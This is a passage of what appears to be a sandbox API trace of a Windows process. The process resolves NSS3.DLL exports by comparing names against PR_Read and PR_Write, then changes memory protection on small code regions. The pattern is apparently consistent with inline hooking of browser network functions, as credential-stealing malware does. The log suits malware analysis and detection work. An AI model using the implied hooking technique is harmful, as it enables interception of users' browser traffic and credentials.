lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="CERT_RemoveCertListNode", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="CERT_SaveSMimeProfile", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="CERT_SetOCSPDefaultResponder", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="CERT_SetOCSPFailureMode", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="CERT_SetOCSPTimeout", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="CERT_SetSlopTime", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="CERT_SetUsePKIXForValidation", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="CERT_StartCRLEntryExtensions", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="CERT_StartCRLExtensions", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="CERT_StartCertExtensions", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="CERT_StartCertificateRequestAttributes", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="CERT_UncacheCRL", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="CERT_VerifyCACertForUsage", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="CERT_VerifyCert", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="CERT_VerifyCertName", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="CERT_VerifyCertNow", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="CERT_VerifyCertificate", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="CERT_VerifyCertificateNow", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="CERT_VerifyOCSPResponseSignature", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="CERT_VerifySignedData", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="CERT_VerifySignedDataWithPublicKey", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="CERT_VerifySignedDataWithPublicKeyInfo", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="DER_AsciiToTime", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="DER_AsciiToTime_Util", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="DER_DecodeTimeChoice", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="DER_DecodeTimeChoice_Util", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="DER_Encode", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="DER_EncodeTimeChoice", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="DER_EncodeTimeChoice_Util", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="DER_Encode_Util", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="DER_GeneralizedDayToAscii", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="DER_GeneralizedDayToAscii_Util", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="DER_GeneralizedTimeToTime", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="DER_GeneralizedTimeToTime_Util", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="DER_GetInteger", lpString2="PR_Read") returned -1 [0068.775] lstrcmpA (lpString1="DER_GetInteger_Util", lpString2="PR_Read") returned -1 [0068.775] lstrcmpA (lpString1="DER_GetUInteger", lpString2="PR_Read") returned -1 [0068.775] lstrcmpA (lpString1="DER_LengthLength", lpString2="PR_Read") returned -1 [0068.775] lstrcmpA (lpString1="DER_Lengths", lpString2="PR_Read") returned -1 [0068.775] lstrcmpA (lpString1="DER_Lengths_Util", lpString2="PR_Read") returned -1 [0068.775] lstrcmpA (lpString1="DER_SetUInteger", lpString2="PR_Read") returned -1 [0068.775] lstrcmpA (lpString1="DER_StoreHeader", lpString2="PR_Read") returned -1 [0068.775] lstrcmpA (lpString1="DER_TimeChoiceDayToAscii", lpString2="PR_Read") returned -1 [0068.775] lstrcmpA (lpString1="DER_TimeChoiceDayToAscii_Util", lpString2="PR_Read") returned -1 [0068.775] lstrcmpA (lpString1="DER_TimeToGeneralizedTime", lpString2="PR_Read") returned -1 [0068.775] lstrcmpA (lpString1="DER_TimeToGeneralizedTimeArena", lpString2="PR_Read") returned -1 [0068.775] lstrcmpA (lpString1="DER_TimeToGeneralizedTimeArena_Util", lpString2="PR_Read") returned -1 [0068.775] lstrcmpA (lpString1="DER_TimeToGeneralizedTime_Util", lpString2="PR_Read") returned -1 [0068.775] lstrcmpA (lpString1="DER_TimeToUTCTime", lpString2="PR_Read") returned -1 [0068.775] lstrcmpA (lpString1="DER_TimeToUTCTime_Util", lpString2="PR_Read") returned -1 [0068.775] lstrcmpA (lpString1="DER_UTCDayToAscii", lpString2="PR_Read") returned -1 [0068.839] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0xc) returned 0xe189f8 [0068.839] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0xc) returned 0xe19aa0 [0068.839] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe189f8 | out: hHeap=0xa20000) returned 1 [0068.839] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe19aa0 | out: hHeap=0xa20000) returned 1 [0068.839] VirtualProtect (in: lpAddress=0x73c22e00, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x3ffae4 | out: lpflOldProtect=0x3ffae4*=0x20) returned 1 [0070.791] VirtualProtect (in: lpAddress=0x73c22e00, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x3ffae4 | out: lpflOldProtect=0x3ffae4*=0x40) returned 1 [0070.792] VirtualProtect (in: lpAddress=0x73c54288, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x3ffab0 | out: lpflOldProtect=0x3ffab0*=0x40) returned 1 [0070.793] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffa7c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffa7c, ReturnLength=0x0) returned 0x0 [0070.793] GetModuleHandleA (lpModuleName="NSS3.DLL") returned 0x73ac0000 [0070.793] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe19aa0 [0070.793] lstrcmpA (lpString1="ATOB_AsciiToData", lpString2="PR_Write") returned -1 [0070.793] lstrcmpA (lpString1="ATOB_AsciiToData_Util", lpString2="PR_Write") returned -1 [0070.793] lstrcmpA (lpString1="ATOB_ConvertAsciiToItem", lpString2="PR_Write") returned -1 [0070.793] lstrcmpA (lpString1="ATOB_ConvertAsciiToItem_Util", lpString2="PR_Write") returned -1 [0070.793] lstrcmpA (lpString1="BTOA_ConvertItemToAscii", lpString2="PR_Write") returned -1 [0070.793] lstrcmpA (lpString1="BTOA_ConvertItemToAscii_Util", lpString2="PR_Write") returned -1 [0070.793] lstrcmpA (lpString1="BTOA_DataToAscii", lpString2="PR_Write") returned -1 [0070.793] lstrcmpA (lpString1="BTOA_DataToAscii_Util", lpString2="PR_Write") returned -1 [0070.793] lstrcmpA (lpString1="CERT_AddCertToListHead", lpString2="PR_Write") returned -1 [0070.793] lstrcmpA (lpString1="CERT_AddCertToListSorted", lpString2="PR_Write") returned -1 [0070.793] lstrcmpA (lpString1="CERT_AddCertToListTail", lpString2="PR_Write") returned -1 [0070.793] lstrcmpA (lpString1="CERT_AddExtension", lpString2="PR_Write") returned -1 [0070.793] lstrcmpA (lpString1="CERT_AddOCSPAcceptableResponses", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_AddOKDomainName", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_AddRDN", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_AllocCERTRevocationFlags", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_AsciiToName", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CRLCacheRefreshIssuer", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CacheCRL", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CacheOCSPResponseFromSideChannel", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CertChainFromCert", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CertListFromCert", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CertTimesValid", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_ChangeCertTrust", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CheckCertUsage", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CheckCertValidTimes", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CheckNameSpace", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CheckOCSPStatus", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_ClearOCSPCache", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CompareCerts", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CompareName", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CompareValidityTimes", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CompleteCRLDecodeEntries", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_ConvertAndDecodeCertificate", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CopyName", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CopyRDN", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CreateAVA", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CreateCertificate", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CreateCertificateRequest", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CreateEncodedOCSPErrorResponse", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CreateEncodedOCSPSuccessResponse", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CreateName", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CreateOCSPCertID", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CreateOCSPRequest", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CreateOCSPSingleResponseGood", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CreateOCSPSingleResponseRevoked", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CreateOCSPSingleResponseUnknown", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CreateRDN", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CreateSubjectCertList", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_CreateValidity", lpString2="PR_Write") returned -1 [0070.794] lstrcmpA (lpString1="CERT_DecodeAVAValue", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DecodeAltNameExtension", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DecodeAuthInfoAccessExtension", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DecodeAuthKeyID", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DecodeBasicConstraintValue", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DecodeCRLDistributionPoints", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DecodeCertFromPackage", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DecodeCertPackage", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DecodeCertificatePoliciesExtension", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DecodeDERCrl", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DecodeDERCrlWithFlags", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DecodeGeneralName", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DecodeNameConstraintsExtension", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DecodeOCSPRequest", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DecodeOCSPResponse", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DecodeOidSequence", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DecodePrivKeyUsagePeriodExtension", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DecodeTrustString", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DecodeUserNotice", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DerNameToAscii", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DestroyCERTRevocationFlags", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DestroyCertArray", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DestroyCertList", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DestroyCertificate", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DestroyCertificateList", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DestroyCertificatePoliciesExtension", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DestroyCertificateRequest", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DestroyName", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DestroyOCSPCertID", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DestroyOCSPRequest", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DestroyOCSPResponse", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DestroyOidSequence", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DestroyUserNotice", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DestroyValidity", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DisableOCSPChecking", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DisableOCSPDefaultResponder", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DistNamesFromCertList", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DupCertList", lpString2="PR_Write") returned -1 [0070.795] lstrcmpA (lpString1="CERT_DupCertificate", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_DupDistNames", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_EnableOCSPChecking", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_EnableOCSPDefaultResponder", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_EncodeAltNameExtension", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_EncodeAndAddBitStrExtension", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_EncodeAuthKeyID", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_EncodeBasicConstraintValue", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_EncodeCRLDistributionPoints", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_EncodeCertPoliciesExtension", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_EncodeGeneralName", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_EncodeInfoAccessExtension", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_EncodeInhibitAnyExtension", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_EncodeNameConstraintsExtension", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_EncodeNoticeReference", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_EncodeOCSPRequest", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_EncodePolicyConstraintsExtension", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_EncodePolicyMappingExtension", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_EncodeSubjectKeyID", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_EncodeUserNotice", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_ExtractPublicKey", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_FilterCertListByCANames", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_FilterCertListByUsage", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_FilterCertListForUserCerts", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_FindCRLEntryReasonExten", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_FindCRLNumberExten", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_FindCertByDERCert", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_FindCertByIssuerAndSN", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_FindCertByName", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_FindCertByNickname", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_FindCertByNicknameOrEmailAddr", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_FindCertByNicknameOrEmailAddrForUsage", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_FindCertBySubjectKeyID", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_FindCertExtension", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_FindCertIssuer", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_FindKeyUsageExtension", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_FindNameConstraintsExten", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_FindSMimeProfile", lpString2="PR_Write") returned -1 [0070.796] lstrcmpA (lpString1="CERT_FindSubjectKeyIDExtension", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_FindUserCertByUsage", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_FindUserCertsByUsage", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_FinishCertificateRequestAttributes", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_FinishExtensions", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_FormatName", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_FreeDistNames", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_FreeNicknames", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GenTime2FormattedAscii", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GenTime2FormattedAscii_Util", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetAVATag", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetCertChainFromCert", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetCertEmailAddress", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetCertIssuerAndSN", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetCertNicknames", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetCertTimes", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetCertTrust", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetCertUid", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetCertificateNames", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetCertificateRequestExtensions", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetClassicOCSPDisabledPolicy", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetClassicOCSPEnabledHardFailurePolicy", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetClassicOCSPEnabledSoftFailurePolicy", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetCommonName", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetConstrainedCertificateNames", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetCountryName", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetDBContentVersion", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetDefaultCertDB", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetDomainComponentName", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetEncodedOCSPResponse", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetFirstEmailAddress", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetLocalityName", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetNextEmailAddress", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetNextGeneralName", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetNextNameConstraint", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetOCSPAuthorityInfoAccessLocation", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetOCSPResponseStatus", lpString2="PR_Write") returned -1 [0070.797] lstrcmpA (lpString1="CERT_GetOCSPStatusForCertID", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_GetOidString", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_GetOrgName", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_GetOrgUnitName", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_GetPKIXVerifyNistRevocationPolicy", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_GetPrevGeneralName", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_GetPrevNameConstraint", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_GetSSLCACerts", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_GetSlopTime", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_GetStateName", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_GetUsePKIXForValidation", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_GetValidDNSPatternsFromCert", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_Hexify", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_ImportCAChain", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_ImportCAChainTrusted", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_ImportCRL", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_ImportCerts", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_IsCACert", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_IsCADERCert", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_IsRootDERCert", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_IsUserCert", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_KeyFromDERCrl", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_MakeCANickname", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_MergeExtensions", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_NameToAscii", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_NameToAsciiInvertible", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_NewCertList", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_NewTempCertificate", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_NicknameStringsFromCertList", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_OCSPCacheSettings", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_OpenCertDBFilename", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_PKIXVerifyCert", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_PostOCSPRequest", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_RFC1485_EscapeAndQuote", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_RegisterAlternateOCSPAIAInfoCallBack", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_RemoveCertListNode", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_SaveSMimeProfile", lpString2="PR_Write") returned -1 [0070.798] lstrcmpA (lpString1="CERT_SetOCSPDefaultResponder", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="CERT_SetOCSPFailureMode", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="CERT_SetOCSPTimeout", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="CERT_SetSlopTime", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="CERT_SetUsePKIXForValidation", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="CERT_StartCRLEntryExtensions", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="CERT_StartCRLExtensions", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="CERT_StartCertExtensions", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="CERT_StartCertificateRequestAttributes", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="CERT_UncacheCRL", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="CERT_VerifyCACertForUsage", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="CERT_VerifyCert", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="CERT_VerifyCertName", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="CERT_VerifyCertNow", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="CERT_VerifyCertificate", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="CERT_VerifyCertificateNow", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="CERT_VerifyOCSPResponseSignature", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="CERT_VerifySignedData", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="CERT_VerifySignedDataWithPublicKey", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="CERT_VerifySignedDataWithPublicKeyInfo", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="DER_AsciiToTime", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="DER_AsciiToTime_Util", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="DER_DecodeTimeChoice", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="DER_DecodeTimeChoice_Util", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="DER_Encode", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="DER_EncodeTimeChoice", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="DER_EncodeTimeChoice_Util", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="DER_Encode_Util", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="DER_GeneralizedDayToAscii", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="DER_GeneralizedDayToAscii_Util", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="DER_GeneralizedTimeToTime", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="DER_GeneralizedTimeToTime_Util", lpString2="PR_Write") returned -1 [0070.799] lstrcmpA (lpString1="DER_GetInteger", 